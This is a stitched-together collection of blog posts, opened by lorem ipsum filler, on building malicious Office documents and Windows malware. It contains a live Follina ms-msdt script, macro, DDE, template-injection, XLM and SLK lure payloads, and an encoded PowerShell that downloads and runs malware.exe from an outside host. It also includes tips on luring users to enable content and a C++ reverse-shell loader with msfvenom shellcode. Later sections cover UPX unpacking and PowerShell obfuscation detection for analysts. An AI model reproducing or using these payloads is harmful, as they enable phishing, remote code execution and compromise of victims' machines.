Morbi convallis fringilla tortor, at consequat purus vulputate sit amet. Morbi a ultricies risus, id maximus purus. Fusce aliquet tortor id ante ornare, non auctor tortor luctus. Quisque laoreet, sem id porttitor eleifend, eros eros suscipit lectus, id facilisis lorem lorem nec nibh. Nullam venenatis ornare ornare. Donec varius ex ac faucibus condimentum. Aenean ultricies vitae mauris cursus ornare. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas aliquet felis vel nulla auctor, ac tempor mi mattis. Nam accumsan nisi vulputate, vestibulum nisl at, gravida erat. Nam diam metus, tempor id sapien eu, porta luctus felis. Aliquam luctus vitae tortor quis consectetur. In rutrum neque sit amet fermentum rutrum. Sed a velit at metus pretium tincidunt tristique eget nibh. In ultricies, est ut varius pulvinar, magna purus tristique arcu, et laoreet purus elit ac lectus. Ut venenatis tempus magna, non varius augue consectetur ut.
Etiam elit risus, ullamcorper cursus nisl at, ultrices aliquet turpis. Maecenas vitae odio non dolor venenatis varius eu ac sem. Phasellus id tortor tellus. Ut vehicula, justo ac porta facilisis, mi sapien efficitur ipsum, sit fusce.
</p>
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'<base64 payload>'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
</body>
</html>
In malware wild, macro malware is typically transmitted through phishing emails that contain malicious attachments. When the macros run, malware coded into the VBA will begin to infect all files that are opened using Microsoft Office. In our case, we will only execute a calc.exe app.
First, open Microsoft Office and then Press Alt
+ F11
on your keyboard. The action will bring us to Macro Editor.
On “Project (Document1)” path, click ThisDocument
:
Write our malicious macro code, for example:
Private Sub Document_Open()
Test
End Sub
Private Sub Test()
Shell ("cmd /c calc.exe")
End Sub
Save the document as .doc
or .docm
and run it!
For malicious execution POC, you might want to replace calc.exe
with powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AOAAwAC4AMQAyADkAOgA4ADAAMAAwAC8AbQBhAGwAdwBhAHIAZQAuAGUAeABlACcALAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAbQBhAGwAdwBhAHIAZQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcAG0AYQBsAHcAYQByAGUALgBlAHgAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
. The encoded base64 can be generate using this recipe.
Also, to lure user to click enable content, you might need some social engineering such as pictures or words that can manipulate user such as this picture:
Enabling the content upon opening the document will execute our code.
You can learn VBA coding from the resouces below:
Refer this source: https://assume-breach.medium.com/home-grown-read-team-lets-make-some-onenote-phishing-attachments-a14f4ef6ccc4
This attack was commonly use by attacker out there, where once a victim was phished by clicking the “yes” button in the Warning message by Office, they can immidiately being compromised by the attacker. But, as far as I’m concerned. This vulnerability have been patched by Microsoft. So, the older version of Microsoft Office still vulnerable to this.
DDEAUTO, short for automatic dynamic data exchange, is a command you can put right inside the data of an Office file to get it to pull data out of another file. In our context DDE works by executing command, that will provide the data (data provider).
DDE attack can be done in Microsoft Word and Excel. Let’s talk about DDE in Word.
Go to Insert
tab -> Click on Quick Parts
-> Click on Field
:
You can setup the DDEAUTO
payload at footer of our document to avoid victim not notice any DDEAUTO mechanism.
Choose = (Formula)
field names and click OK
button:
After that, you should see a Field inserted in the document with an error !Unexpected End of Formula
.
Right-click the Field, and choose Toggle Field Codes
:
The field code now should display {= \* MERGEFORMAT}
:
Change the field code by manually typing the payload command you want to execute:
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
Save the document as .docx
. Upon opening the document, they will be welcome with these two warning message. By clicking Yes
on both warning box, our code will be execute.
Code executed!
In Excel, we can embedded our DDE payload through the use of formulas feature.
Choose a box to put this payload =cmd|'/c calc.exe'!'T81'
where T81 should be any table column number. Paste in the box and Excel will pop-up a warning. Just ignore it by click No
for now:
Then, it will display this #REF!
text in the box:
Click on the Yellow Warning icon, and choose Ignore Error
:
Save the document as .xlsx
.
Open the document and click Enable Content
:
Click yes
, and our code will executed:
This part will shows us how to create a non-macro document that uses a template that contains VBA macros, which is loaded from a remote server when the document is executed.
When the maldoc is opened, it will attempt to retrieve and execute template document define at word/_rels/settings.xml.rels
.
Let’s first create a malicious template document. Then, we will create the second document which we will modify the word/_rels/settings.xml
of the document which will be lead the document to retrieve and replace with our malicious template document.
Assume that we going to use the document that we’ve have created in VBA Macro section above. I’ve added a line to pop-up a msgbox that tell us that our remote template injection is successful:
Save the file as Macro-Enabled Template .dotm
format.
Now, let’s create a normal document using a free template from Microsoft Office. In my case, I’ll using a free template named “Blue grey resume”:
Then, save the document as .docx
. Now we have the both documents that we need:
Unzip the docx using decompress tool. In my case, I’ll using 7zip. From here, we can start to see the files containing in the docx file:
Navigate to word/_rels/
folder, and we can start modifying the content of setting.xml.rels
. Replace the content of the attribute Target
in the file setting.xml.rels
with your remote document serve in your server:
Here my Kali box will serving the malicious template that we’ve created:
Replace the original link with our document link and save the file:
Now, compressed back all the files to a zip. Then change the .zip
format to .docx
:
Now this document has contain the malicious remote template injection. Upon opening and Enabling Content of the document, the code will executed:
First, create a malicious .dotm
document like we discussed in section Word Template injection above. Serve the file on the internet.
Then, create a microsoft word file and save it as .rtf
:
After saving it, open the RTF file with text editor. Then put the below control word template
in the RTF.
{\*\template http://malware.domain/malicious-template.dotm}
Upon opening the RTF file, it will fetch the content (template) from malicious-template.dotm at hxxp://malware.domain, load the template and then make the malicious code execution:
Excel 4.0 macros which also known as XLM macros. Excel 4.0 macro can be difficult to analyse and detected by AV.
First step, create a new Excel workbook. Right click Sheet1
at the bottom of the Excel and choose Insert
:
A windows box will pop-up that allow us to choose which object we want to insert. Select MS Excel 4.0 Macro
and click OK:
From here, let’s start to write our own macro. Click on any cell and type the formulas shown in below picture:
=EXEC("calc.exe")
=ALERT("Excel 4.0 Macro executed")
=RETURN()
On the name box at the top left, fill in auto_open
to make our Excel 4.0 macro execute automatically when the workbook document is opened. It is similar to Sub AutoOpen()
for VBA macros.
Also, we can hide our macro sheet by right click on the Macro1
tab and select hidden
:
Our macro sheet will be gone from the sight:
Save the malicious document either as .xls or .xlsm format. Once user open the workbook and click Enable Content
, our XLM macro will be execute successfully:
This technique was a rare case and I found that there is no public research yet related to this technique. I found this methodology was used by an attacker of my client during my analysis and investigation.
Based on LifeWire A file with the ACCDE file extension is a Microsoft Access Execute Only Database file used to protect an ACCDB file. It replaces the MDE format (which secures an MDB file) used by older versions of MS Access.
The VBA code in an ACCDE file is saved in a way that prevents anyone from seeing or changing it. When you save a Microsoft Access database to the ACCDE format, you can also choose to protect custom database code as well as encrypting the entire file behind a password. So, long short story, an analyst cannot view the content of the VBA in .ACCDE file.
Let’s try to create one. Open Microsoft Access and just use the blank one:
Next, at the tab of Microsoft Office, navigate to Create
tab and choose module to create our malicious VBA.
In the module1
opened by Access, here we can craft our vba payload in a function that we are about to create. In our case, pop-up a calc.exe.
Here we declare a public function popcalc() and the command that we want to execute:
Public Function Test()
Shell ("cmd /c calc.exe")
End Function
Then, save the Module with name Module1 or anything name that you want:
The next part is to create a macro that will execute our Module1
once the document is open. Go to Create
tab and Choose Macro
:
In the Add New Action
box, choose Run Code
:
From here, type our Module1’s function with =
equal sign. You always need to type an equals sign (=) in front of the function name:
Then save it with name autoexec
to automatically run our VBA when this document opened by victim. You can CTRL+S
to save the Macro and rename it with autoexec
:
Then, save the Access database file (.accdb). Opening the file will execute the code:
Let’s hide both of the Macros and Modules by Right-Click
on the both Object, and choose Object Properties
. Then, check hidden
checkbox. Click Apply
. Now, both of it will be hidden from clear viewers:
But if you want to view it just Right-click
in the box, choose Navigation Options
. In the Display Options
part, check the Show Hidden Objects
checkbox and click OK
:
Save it as .accde
executable:
Executing our .accde file will pop-up with Microsoft Access Security Notice warning about the security concern. Just click Open:
Code executed:
As you can see, we can’t view our Module in the .accde executable:
This study is based on The MS Office Magic Show Stan Hegt Pieter Ceelen on SLK part. Do check out the video, it’s awesome.
First, let’s create the .slk
file using text editor, put the payload below and save it as filename.slk
:
ID;P
O;E
NN;NAuto_open;ER1C1;KOut Flank;F
C;X1;Y1;K0;EEXEC("calc.exe")
C;X1;Y2;K0;EHALT()
E
You can learn what are the meanings of every lines in the above code from the video by Stan I mentioned.
Upon opening the file, we need to click “Enable Content” button:
Then, code will executed:
Exploit chain:
You can read and use one of the POC https://github.com/klezVirus/CVE-2021-40444.
Based on Fireeye, this vulnerability allows a malicious actor to download and execute a Visual Basic script containing PowerShell commands when a user opens a document containing an embedded exploit.
You can use https://github.com/bhdresh/CVE-2017-0199 exploit toolkit for CVE-2017-0199.
Marta Janus from SecureList said that CVE-2012-0158 is a buffer overflow vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library. The malicious code can be triggered by a specially crafted DOC or RTF file for MS Office versions 2003, 2007 and 2010.
There is a Metasploit module for this vulnerability. Refer https://www.exploit-db.com/exploits/18780
As describe by Rapid7, this exploit is a remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input. An attacker who successfully exploited this vulnerability in software using the .NET framework could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. To exploit the vulnerability, an attacker would first need to convince the user to open a malicious document or application. The security update addresses the vulnerability by correcting how .NET validates untrusted input.
Refer this sample exploit https://github.com/Voulnet/CVE-2017-8759-Exploit-sample
This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.
Refer https://github.com/embedi/CVE-2017-11882 and alternatively, we can use metasploit, https://www.rapid7.com/db/modules/exploit/windows/fileformat/office_ms17_11882.
When doing an analysis or investigation on a malware, what is the important things to solve or to answer in analysing the malware?
This checklist may help us to determine what is the goal when we’re doing a malware analysis on a malware, so it can avoid us from reversing/analysing part of the malicious code that does not important to our investigation or maybe a rabbit hole.
How it downloads, starts or executes?
Is there any anti techniques implemented?
Is there any basic, automated, dynamic analysis result that can give us any hints?
What are the things we looking for?
What are some of the malware features?
What is the behavior meaning of the findings?
So ask these type of question when reversing the malware.
Does it have persistent mechanism?
Interesting API breakpoint for unpacking stuff:
FC
: This translates to the instruction CLD (clear direction flag)EB
: This is the opcode for a relative jump instruction.E8
: This is the opcode for a CALL instruction.55 8B EC
: This translates to the instructions push ebp and mov ebp,esp, commonly seen at the beginning of a function (i.e., the function prologue) in x86.Recently, I’ve come across a Golang malware sample which have been packed by UPX. The sample was made to be cannot be unpack using UPX tool. So, I thinks it’s good to write a blog/note to explain how the UPX manually unpacking works.
In the figure below, there are certain situation when the malware author makes their packed malware cannot be unpack by the UPX tool to slow down the analyst. Therefore, we need to do the manually unpacking to unpack the malware.
As described in the figure above, when we strings
the binary, we can see a lot of “UPX” string indicate the file packed with UPX. But, when we try to unpack it with -d
using UPX tool, the tool saying the file is not packed with UPX.
In another case, in figure below, the windows executable has been packed and cannot be unpack by the UPX tool automatically due to some alteration. In this case, if we know how to alter back to become the original will be good. But, somehow not everyone knows which bytes to be change or alter.
So, to solve this problems, manual unpacking come to the rescue!
The required tools to unpack the ELF will be:
While, unpacking EXE we going to use:
In order to dynamic analysis using IDA for ELF, we need to copy IDA linux debug server file into our Linux VM and run it. The file location is at %IDA installation directory%/dbgsrv/linux_server64
. After you did run the ./linux_server64
and it will start listening for the connection from the IDA Pro in your host.
While in IDA, open the packed sample and we can see there are 6 functions include start
function which are very few functions indicate the binary is packed. Select the last function from the 6 function.
This function is actually being the first callee in the start
function.
This function will invoke few functions like sysmap, sysmmap and sysmprotect to initialize the environment to unpack the code. Scrolling down through the function and find jmp r13
instruction then put the breakpoint at that line.
Basically, the code jmp r13
will transfer the RIP to the address contain in r13.
We now can start debug the sample by choose the debugger. Select Remote Linux debugger
.
In the options, make sure you put the path based on your Linux VM, not your Windows. And for the IP address, fill in with your Linux VM IP address which I suggest to use Host-only network adapter.
After done setup the configuration, click OK and then run the debugger. It then will break at the breakpoint we setup previously. If a warning pop-up, just click OK.
Soon we run the debugger. It will stop at the breakpoint jmp r13
.
Step into
and it will transfer the RIP into a new code region which the first instruction is call function. Step into
the call function.
Now, we arrived at another region of code.
Scroll down until you see the following assembly instruction:
pop rax
jmp qword ptr [r14-8]
Breakpoint at the line jmp qword ptr [r14-8]
and continue run. Step into the JMP
instruction then step over
until retn
instruction.
Step over
the retn will transfer our RIP to another region of code. At this part, breakpoint at the end of the line of the assembly code which is jmp r12
.
In the below figure, you will see IDA prompts that the RIP has been changed, which means that we have to jump back to the real start function which are OEP of the unpacked sample.
Then you will see real start function like figure below. This indicate we have successfully arrived at OEP of the unpacked sample.
At this point, open OllyDumpEx plugin at Edit > Plugins > OllyDumpEx
. Just click Dump
button and save the unpack file in your Windows. And click Finish
.
Now, try to run the binary. If it can be run without any error like the packed version, it’s indicate that our unpacked binary successfully unpacked. Another indicator is, to compared functions detected in IDA between the packed and unpacked version of the sample. The unpacked version will have a lot of functions like below:
Manually unpacking Windows executable packed with UPX is easy. Just find the “tail jump” instruction and we can start dump the executable.
First, load the binary in the x32dbg. And the x32dbg will pause in the module ntdll.dll. At here, just click run and the debugger will automatically stop at entry point of the sample. The first instruction for UPX packed sample should be pushad
instruction. This instruction will pushes the contents of the general-purpose registers onto the stack.
Normally, pushad
instruction will be pairing with popad
at the end of the function. So, for UPX packed sample, the tail jump can be identify by looking forward the popad
instruction which usually the tail jump is made after the popad
instruction.
Or another alternative to find tail jump, just looks for a lot of add byte ptr ds:[eax], al
and the one jmp
before the first add byte ptr ds:[eax], al
is the tail jump.
Breakpoint on the tail jump, run and step into the address. Now, we arrived into the Original Entry Point.
The packed sample now has been unpacked into the memory and we can start dump from here using OllyDumpEx Plugins > OllyDumpEx > Dump Process
.
Following the number in the figure above, first we will get the current EIP as our OEP because the current EIP is the OEP. Click the Get EIP as OEP
button. In our case, the OEP is 0x401190
. And then click Dump
button. Save into the disk and click Finish.
Before the program (dump) can be work and running smoothly, we need to build the Import Address Table (IAT).
Now open up Scylla by cliciking the Scylla icon at the above of the x32dbg interface.
Now click on 1IAT Autosearch1 button so the Scylla will automatically find the Import Address Table (IAT) of our sample. After that, click on Get Imports
button to get a list of imports that the executable already has. Then, click Fix dump
and choose the dumped binary file to fix the dumped binary we dumped using the OllyDumpEx. We do this step because the previous dump binary doesn’t have IAT.
Now the fixed dump will be save with the SCY
append at the back of the dumped file.
To verify whether we successfully unpacked the file or not. Load the binary into dissassembler or debugger, and now the program have a lot of functions compared to the packed version.
]]>We’ll start with creating a new project. Choose the “Console App”. Make sure you choose C++.
Name your new project. I’m gonna use “revshell_exe”.
Now, let’s go to our Kali and fire up msvenom
to generate our Windows reverse shell’s shellcode to embed in our malware executable.
Before we generate a “shellcode”. Some of the beginners might have no idea what does the shellcode means. So, “Shellcode” is a set of instructions that executes a command in software to take control of or exploit a compromised machine. In our case here, our shellcode is to gain the remote system shell of our victim. The shellcode is not only for shell access, instead there’s much other shellcode action that could be done by the author like privilege escalation and many more.
To generate the shellcode using msvenom, run this command below:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c
Example:
All we need now is to copy the shellcode I highlighted in the red box and paste it into our main
function inside VS IDE.
When it comes to programming, you need to be familiar with C and WinAPI. Below codes, I’ve put some comments to guide and understand what does the code does.
#include <Windows.h>
int main()
{
// Run our executable console app in the background
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
// MSVenom shellcode payload here
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x80\x68"
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
//Allocate memory for the shellcode
PVOID shellcode = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//Copies contents of memory block to destination
RtlCopyMemory(shellcode, buf, sizeof buf);
//Execute shellcode as new thread
DWORD threadID;
HANDLE handleThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode, NULL, 0, &threadID);
//Wait till thread terminates
WaitForSingleObject(handleThread, INFINITE);
}
If you don’t understand the WinAPI, here is some documentation from Microsoft:
Check for any errors in your code and now we are good to go.
In our Kali, let’s listen to our reverse shell. In my case, my port will be on 4444.
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvp 4444
listening on [any] 4444 ...
In “Solution Configurations”, change Debug
to Release
. Then, click Run icon.
After the program executed, our Kali will gain the remote shell cmd.
Our shellcode and malware successfully execute.
Now copy your malicious executable from Release folder into your malware analysis lab and start analysing + reversing the program.
The result of decompiler of Ghidra have a slightly changes from our code. This is due to the how compiler compiled our executable and how the Ghidra translate from the assembly code.
Here the explaination of the decompiled code:
From the decompiler code, we can locate the shellcode in the Ghidra.
This will bring us to the shellcode bytes in the “Listing view”.
To extract the shellcode, select all the bytes until the finish.
Go to Window tab > Bytes: filename.exe. The selected bytes now also been selected in the hex view.
Copy the bytes and paste into hex editor like HxD. And save it.
Now to analyze the shellcode, there’s some options:
The output below of the scdbg for our shellcode is quite helpful. In our case here, the shellcode was easy to be analyzed. At sometimes, a complex shellcode will not be a simpler like this
LoadLibraryA(ws2_32)
: First, the process will load the DLL file “ws2_32.dll” using LoadLibrary API.
WSAStartup(190)
: After that, it calls WSAStartup function to initiate the utilization of the Winsock DLL by the current process.
WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
: It then call the WSASocket to creates a socket.
If we refer the documentation of WSASocket, here the explaination about the number in the prameter:
connect(h=42, host: 192.168.0.128 , port: 4444 ) = 71ab4a07
: At this line, the program will establishes a connection to a specific socket. The parameter contains IP of the attacker and his port which will be used to get a reverse shell.
CreateProcessA( cmd, ) = 0x1269
: Our shellcode then executes cmd.exe by calling CreateProcessA API
WaitForSingleObject(h=1269, ms=ffffffff)
: This function will terminate the program when our reverse shell been killed.
ExitProcess(0)
: Exit and terminate current process.
In the conclusion, we’ve learn how to develop a malware that leverage our metasploit shellcode to create the connection to our C2. In the code, we can see that the malware first will be run in the background. And then it allocates some memory space for our shellcode. After allocating the memory region, our shellcode is then being copy to the allocated memory. Then, it uses CreateThread API to execute the shellcode. In the shellcode, it will connect to our IP and port to gain the reverse shell of cmd.exe.
]]>Let’s learn a little bit about Powershell malicious command line.
powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')
Powershell command that are use to download “something” can be consider as a high potentially of a malicious attack. The command above indicate that the command is run to download strings (payload) at URL https://tinyurl.com/y5nupk4e
. A goodware will never do such a thing to download their file using powershell command.
Powershell -ExecUTIONPoLICy BypASs -wiNDoWSTYLe hidDeN(NEW-objecT.SYstEM.NET.wEbCLIeNt).DOWnLoADFiLE(<removed>);
This pattern of powershell is using alternating lower and upper case letters to execute their command. It’s a high potentially of a malicious command when it come with this pattern.
Powershell -nop -w hidden -e <encoded text>
Powershell -nop -w hidden -e <ps1 file>
Sometimes, this pattern of command uses by goodwares to does their job backgroundly. If the command included a long encoded text, I can 100% sure that those command is a malicious. Legit software will never use encoded text to execute it’s job.
For .ps1
part, recognizing the location of the ps1 file and its name can help us to determine it’s a malicious or not. If you can get the hash of the .ps1
, drop it into Google/Virustotal/Sandbox to futher investigation.
Short flags reference:
Parameters | short parameters |
---|---|
-Command | -c |
-EncodedArguments | -ea, -encodeda |
-EncodedCommand | -e, -ec, -enc |
-ExecutionPolicy | -ex, -ep |
-File | -f |
-Help | -h,-? or /h,/? |
-InputFormat | -i, -if |
-NoExit | -noe |
-NoLogo | -nol |
-NoProfile | -nop |
-NonInteractive | -noni |
-OutputFormat | -o, -of |
-Sta | -s |
-WindowStyle | -w |
For more information about parameters, refer this Microsoft docs.
Also this picture explained it all:
Powershell -EncodedCommand SQBmACgAJABQAFMAVgB
Powershell -e SQBmACgAJABQAFMAVgB
Powershell -enc SQBmACgAJABQAFMAVgB
The -encodedcommand
is long version of -e
parameter. They both does a same job where is the function of this parameter is to execute encoded command.
Powershell -Invoke-Expression (("New-Object Net.WebClient")).(’Downloadfile.ps1’)
Invoke-Expression
or IEX
cmdlet evaluates or runs a specified string as a command. So, anything after Invoke-Expression will be assume as command execution.
Powershell ... $cs = [char]71; $fn = $env:temp+$cs; ...
Malware often usen “[char]” to replace with character to evade or bypass AV. Also this type of command pattern often used to slow malware analyst’s investigation progress.
IEX $s=New-Object IO.MemoryStream([Convert]::FromBase64String(’<removed>’));
Base64 encoding often used in malware payload.
$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(<removed>’));
powershell iex $env:vruuyg
Example of usage:
If we look into properties’s envinronment, we can see that the variable pajsj
has value of the command execution.
We need to consider these command-line arguments, such as:
ExecutionPolicy Bypass,
-Exec Bypass,
-ep bypass,
-EncodedCommand,
-enc
-NonInteractive,
-NonI,
-NoLogo,
-NoProfile,
-NoP,
-WindowStyle Hidden,
-w Hidden
Example of powershell obfuscation:
3 layer obfuscation:
A code snapshot of macro malware that uses “^” for command shell obfuscation
Another complex obfuscation in malware wild.
and many more.
“h” + “ttp”
. Additional string obfuscation techniques
are covered below.System
is optional in PowerShell type names, so System.Net.WebClient
can be written as Net.WebClient
DownloadString(‘
could just as easily be written as DownloadString( “
DownloadString
, such as DownloadFile
, DownloadData
, and OpenReadAsync
DownloadString
can be included in quotes and have escape characters included to create a syntax like
System.Net.WebClient).”`D`o`wn`l`oa`d`Str`in`g”
Because it can be treated as a string, string-based obfuscation techniques such as concatenation and reordering can also be used on the method name.
Net.WebClient
argument to New-Object
can be obfuscated with escape characters, string-based obfuscation techniques, and concatenation across multiple variables. That can produce a result like:
$var1="`N`et.";
$var2="`W`eb`C`l`ient";
(New-Object $var1$var2)
Invoke-Expression
can also be referred to as iex
.Get-Command
command lets a script author query the PowerShell command list and invoke the result. This query can include wildcards, so invoking New-Object
can look like this: & (Get-Command *w-O*)
. The invocation (&
) operator in this example has an alternative, which is the dot (.
) operator. The Get-Command
cmdlet has an alias and can be dynamically invoked similarly, so is not safe to key on.Get-Command
as a mechanism to query command names, PowerShell offers several API-style methods to query command names – such as $executionContext.InvokeCommand.GetCommand()
.Invoke-Expression
suffers from the same challenges of command obfuscation that New-Object
and Get-Command
suffer from. It is also popular in non-malicious contexts, making false positives based on this indicator a significant challenge.Invoke-Expression
is not the only cmdlet or technique that can be used to invoke dynamicallygenerated code. Other alternatives are Invoke-Command
, Script Block invocation (such as & [Scriptblock]::Create("Write-Host Script Block Conversion")
), and dynamic script invocation APIs such as $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION")
.Anything that allows a string as an argument can be obfuscated using string obfuscation techniques.
“http”
, it can also be written as “h” + “ttp”
. The most common form of concatenation is the ‘+’
operator, but PowerShell’s –join
operator can also be used. In addition to PowerShell techniques, the String.Join()
and String.Concat()
methods from .NET can accomplish the same goals.–f
string formatting operator, based on the C# String.Format
method, can create strings at runtime. The format operator uses format tokens like {0}
and {1}
to identify the order of replacement strings, so obfuscating the invocation of New-Object
might look like this with format operator obfuscation applied: & ("{1}{0}{2}" -f 'wOb','Ne','ject')
.(-join "detacsufbO"[9..0])
, Array.Reverse ($a = [char[]]"detacsufbO"; [Array]::Reverse($a); -join $a
), reverse regular expression matching (-join [RegEx]::Matches("detacsufbO",'.','RightToLeft')
), and others.-join ("Obf~~usc~~ated" -split "~~")
–replace
operator or the String.Replace()
method, strings can be replaced either to remove delimiters, or change the meaning of a string: "System.SafeClass" -replace "Safe","Unsafe"
ref:
PowerShell attacks are currently the popular weapon of alternative for several of those attacks as a result of it provides a variety of techniques for bypassing existing security. Not least of all, the flexibility to run directly in memory and remotely download payloads gave a lot of benefits to the attacker.
Here in this blog post, we will learn how to deobfuscate obfuscated scripts easily.
All we need is a text editor and PowerShell ISE. Windows PowerShell Integrated Scripting Environment (ISE) is used to create, run, and debug commands and scripts. I’ll use VSCode for my text editor.
You may conduct this analysis in a safe malware analysis environment, as we might accidentally execute malware code without our concern.
The above figure shows the interface of Powershell ISE. You may run the ISE in administrator mode. As you can see, there are two parts to the ISE GUI. The white space will be our place to place our PowerShell code while the blue one is to interact and run our PowerShell code.
Before we proceed with the deobfuscation process, we need to have little understanding of what makes the script run and execute. So, in PowerShell, there is a cmdlet that is used to evaluates or runs a specified string as a command. This cmdlet is called Invoke-Expression
or in short form IEX
. This IEX
can be deobfuscated to hide their presence in analyst first glance.
For example, the below command line use to download and execute the content of the Payload.ps1
using Invoke-Experession
PowerShell cmdlet.
Powershell -Invoke-Expression (("New-Object Net.WebClient")).('Payload.ps1’)
Below the snippet code is the content of one of the payloads executed by the malware.
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7e7df7d903ffb2c4d3fbaf3f1effdf127dfbfb7fbbda745599ece9bdfed93efef7e6f5694cf4fbfddfc6ee9d638fd993b7b0fbf5f1f7f7bfabdef7ffea2a8dbd7df1bddd9bd2f9f7cf2a9f9657f67577edbda3a9d66e5cbbc1edff9f877fb78f4f1ce8b871fbb8f1edeeb82b22f7eb2677fbbb71b01f61b27bf7192de493ffee4e33bfbf7be4f3fea6c7ef2bdef5fbc38abdf00d0c307dfe74f3eb90738fcdbdeaefe66e0bc1adff9f4a17ce45e7c70a0cd774df34f76b491f7defcfc17dd3b98d3bf34fa3d6d47487cb26fbaddf13ef5dedba78f7bc81298879fd3a7e7f48b6bfaf01e7dd4c56ecfc07ff8a9fd5648d5479068cd083edcd776077644f7154cf8c2b3bb69d6b4afd2657b37cddbbccc6777d3e66d93b5f4dd27f4fff9b401d9a9d9ee40bb694358699bbdacd1f7d0d4fcda7f03cd7fe3e4edb42a279f2dabc27436cdd2fbf7763f6beb6aa59f94fa33a3a6e96ada7e5656d3aaadea55ba2c3eab8b59fae5c58a5eb95ee633faedb39c505964cb342fd7752aafd227bf6836cbd2b2ccaef2ba38b7bf5cd287f3a6cd97820ab533d8008dfd7d46a344c78a83f66f70eda1b1bfcf681020c284fed586f922a33f14a79b31b9779f3b6ea7f972594dd3dd31fff759d3e435bd6c3e7eb877fffea7dc7099b74d51a6fb9755bb7fc9f0afdf1162f82acda7d9799db7cb22cddfe563ee82e70a98d1ff7fe364f6fac553fde3b5c0c4209572bfe862592cf355c5a07cc40906006a2b819b4e6996dfd137f978b6986220bfc4eb279fd6d5b3dfe3f7f83dd2dd345f97d94f6ea74f5f7df9dda769beba7eb36dba23d26394ab4575929793ac299e82ac0d0d804858672fafbff3aece2febfcf5325b2cb3e7f467934f0b7c40bfb6f9ebb2aadb654